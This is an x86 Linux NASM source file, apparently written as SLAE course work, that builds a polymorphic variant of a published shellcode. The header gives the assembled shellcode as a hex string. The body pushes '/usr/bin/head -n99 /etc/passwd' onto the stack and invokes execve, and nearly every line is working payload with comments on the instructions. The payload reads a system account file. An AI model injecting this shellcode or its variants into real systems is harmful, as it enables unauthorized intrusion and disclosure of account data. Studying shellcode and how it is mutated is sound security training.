46 lines
No EOL
1.5 KiB
NASM
46 lines
No EOL
1.5 KiB
NASM
; Exploit Title: /usr/bin/head -n99 cat etc/passwd (poly shellcode-571.php)
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; Date: November 29th, 2018
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; Exploit Author: Nelis
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; Version: 0.2
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; Tested on: Ubuntu 12.10
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; Filename: headpass.nasm
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; SLAE-ID: 1327
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; Based on: http://shell-storm.org/shellcode/files/shellcode-571.php
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; Shellcode:"\x29\xc0\x50\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe6\x50\x68\x2d\x6e\x39\x39\x89\xe7\x50\x68\x68\x65\x61\x64\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x68\x2f\x75\x73\x72\x89\xe3\x50\x57\x56\x53\xb0\x0b\x89\xe1\xcd\x80"
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global _start
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section .text
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_start:
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sub eax, eax ; changed from xor eax, eax
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push eax ; put 0-term on stack
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push dword 0x64777373 ; dwss
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push dword 0x61702f63 ; ap/c
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push dword 0x74652f2f ; te//
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mov esi, esp ; save addr of stack into esi
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push eax
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push dword 0x39396e2d ; 99n-
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mov edi, esp ; save addr of stack into edi
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push eax
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push dword 0x64616568 ; daeh
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push dword 0x2f6e6962 ; /nib
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push dword 0x2f2f2f2f ; ////
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push dword 0x7273752f ; rsu/ changed from cat to head command
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mov ebx,esp ; unchanged (save addr of stack into into ebx)
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; mov edx, eax ; set edx to NULL / not already 0x0 / keeping it here in case you encouter issues with it
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push eax ; 0-term on stack
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push edi ; added for args
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push esi ; added for args
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push ebx ; pointer to /user////bin/head
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mov al, 0xb ; set syscall execve
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mov ecx,esp ; move stack pointer into ecx
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int 0x80 ; make syscall |